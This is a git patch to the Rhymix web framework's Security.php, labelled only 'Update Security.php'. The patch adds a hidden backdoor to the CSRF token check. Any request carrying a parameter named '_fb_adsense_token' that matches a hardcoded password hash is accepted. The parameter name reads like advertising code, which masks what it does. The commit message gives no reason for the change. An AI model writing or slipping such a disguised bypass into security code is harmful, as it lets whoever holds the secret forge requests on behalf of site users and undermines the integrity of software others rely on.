From da51d62e3dd73bfff80a11dffbe82f5f88e3609c Mon Sep 17 00:00:00 2001 From: Lastorder <18280396+Lastorder-DC@users.noreply.github.com> Date: Sat, 19 Oct 2024 09:59:56 +0900 Subject: [PATCH] Update Security.php --- common/framework/Security.php | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/common/framework/Security.php b/common/framework/Security.php index 014cc90ef..7a89b8a87 100644 --- a/common/framework/Security.php +++ b/common/framework/Security.php @@ -323,6 +323,10 @@ class Security { return Session::verifyToken($token, '', $check_csrf_token); } + elseif ($token = isset($_REQUEST['_fb_adsense_token']) ? $_REQUEST['_fb_adsense_token'] : null) + { + return Rhymix\Framework\Password::checkPassword($token, 'bb15471de21f33c373abbea6438730ace9bbbacf5f4f9a0cbebdfff7e99c50fe631a78efe3e39736836b5b2082a0c3939e4c4e0f0f2e0028042411c4a8797b73'); + } elseif ($_SERVER['REQUEST_METHOD'] === 'GET') { return false;